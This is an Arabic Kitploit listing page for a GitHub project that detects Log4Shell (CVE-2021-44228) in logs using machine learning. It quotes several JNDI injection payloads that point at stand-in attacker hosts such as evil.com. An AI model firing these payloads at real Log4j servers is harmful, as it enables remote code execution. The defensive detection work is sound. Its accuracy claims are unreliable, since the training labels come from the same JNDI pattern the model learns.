Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
تحليل الثغرات الأمنيةتعلم الآلةكشف التسللالأوراق والأبحاثالتعلم والتعليمموارد منسقةكشف الشذوذتحليل السجلات
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

يوفر هذا المستودع تحليلاً متعمقاً لثغرة Log4Shell (CVE-2021-44228) وينفذ نهجاً قائماً على التعلم الآلي لكشف محاولات الاستغلال في بيانات السجلات.

عرض المستودع
4منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

كشف تهديد Log4Shell (CVE-2021-44228)

نظرة عامة

يوفر هذا المستودع تحليلاً متعمقًا وتنفيذًا لنظام كشف تهديد Log4Shell (CVE-2021-44228) القائم على تعلّم الآلة. ويتضمن:

  • فهم Log4Shell: ما هو ولماذا هو خطير
  • جمع البيانات: المصادر وخطوات المعالجة المسبقة
  • هندسة الميزات: استخراج أنماط JNDI الضارة
  • تدريب نموذج تعلّم الآلة: كشف قائم على Random Forest
  • النتائج والتحليل: مقاييس الأداء ورسوم التقييم
  • الخلاصة والعمل المستقبلي

نظرة عامة على التهديد - Log4Shell (CVE-2021-44228)

  • الثغرة الأمنية: تنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Log4j 2
  • مثال على الاستغلال:
    root@kitploit:~
    ${jndi:ldap://malicious-server.com/exploit}
    
  • الأثر: تتيح للمهاجمين السيطرة الكاملة على الأنظمة المتأثرة
  • التخفيف: تحديث Log4j إلى الإصدارات المصححة (2.17.0 أو أحدث) وتطبيق قواعد جدار الحماية

هيكل المستودع

root@kitploit:~
📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

جمع البيانات والمصادر

مجموعات البيانات المستخدمة:

  • سجلات عامة من Zeek Security Dataset
  • سجلات Honeypot من DShield
  • محاكاة هجمات مخصصة باستخدام Metasploit وKali Linux
  • تنزيل مجموعة البيانات هنا: سجلات Log4Shell

وصف مجموعة البيانات

  • الحجم الإجمالي لمجموعة البيانات: 80 ميغابايت
  • بيانات التدريب: 70% (56 ميغابايت)
  • بيانات الاختبار: 30% (24 ميغابايت)
  • إجمالي السجلات: 1,000,000
  • السجلات الضارة: 300,000
  • السجلات الحميدة: 700,000

نموذج من بيانات السجلات (log4shell_logs.csv)

TimestampSource IPDestination IPRequestStatus CodeUser-AgentLog Message
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0Normal Log Message
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

هندسة الميزات

  • تطبيع السجلات: تحويل الطوابع الزمنية، واستخراج الحقول
  • استخراج الميزات القائم على Regex: تحديد أنماط jndi وldap وrmi وdns
  • تحويل النصوص إلى متجهات: تحويل الميزات باستخدام TF-IDF

نموذج تعلّم الآلة لكشف التهديدات

  • الخوارزمية: Random Forest Classifier
  • مقاييس التقييم: الدقة (Accuracy)، والضبط (Precision)، والاستدعاء (Recall)، ودرجة F1

كود Python لتدريب النموذج

root@kitploit:~
import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

النتائج وتحليل الأداء

نتائج الاختبار:

  • الضبط (Precision): 98%
  • الاستدعاء (Recall): 95%
  • درجة F1: 96%
  • معدل الإيجابيات الكاذبة: 3%

المقارنة مع الأعمال القائمة:

  • أنظمة SIEM التقليدية القائمة على القواعد تحقق دقة تبلغ 80-85%.
  • نهجنا القائم على تعلّم الآلة يحقق دقة 96%، مما يحسّن معدلات الكشف بشكل كبير.
  • بالمقارنة مع الطرق القائمة على التعلّم العميق، فإن نموذج Random Forest لدينا أسرع وقابل للتفسير مع تحقيق دقة مماثلة.

منحنى Precision-Recall

Precision-Recall Curve For Log4Shell Detection

مصفوفة الارتباك (Confusion Matrix)

Confusion Matrix For Log4Shell Detection

الخلاصة والعمل المستقبلي

الخلاصة:

  • نموذج Random Forest يكشف تهديدات Log4Shell بفعالية ودقة عالية.
  • استخراج الميزات باستخدام التعرّف على أنماط JNDI يحسّن الدقة.
  • قد تحتوي السجلات الواقعية على تفادٍ خصومي (adversarial evasion)، مما يتطلب مزيدًا من الضبط.

العمل المستقبلي:

  • تنفيذ التعلّم العميق (LSTM، النماذج القائمة على Transformers) للكشف عن الحالات الشاذة.
  • دمج خطوط معالجة سجلات في الوقت الفعلي (مثل ELK stack، Apache Kafka).
  • توسيع نطاق الكشف ليشمل ثغرات CVE أخرى قائمة على السجلات.

طريقة الاستخدام

  1. استنساخ المستودع:
    root@kitploit:~
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. تثبيت التبعيات:
    root@kitploit:~
    pip install -r requirements.txt
    
  3. تشغيل سكربت تدريب النموذج:
    root@kitploit:~
    python scripts/model_training.py
    
  4. تحليل نتائج الكشف في مجلد results/.

تنزيل الأداة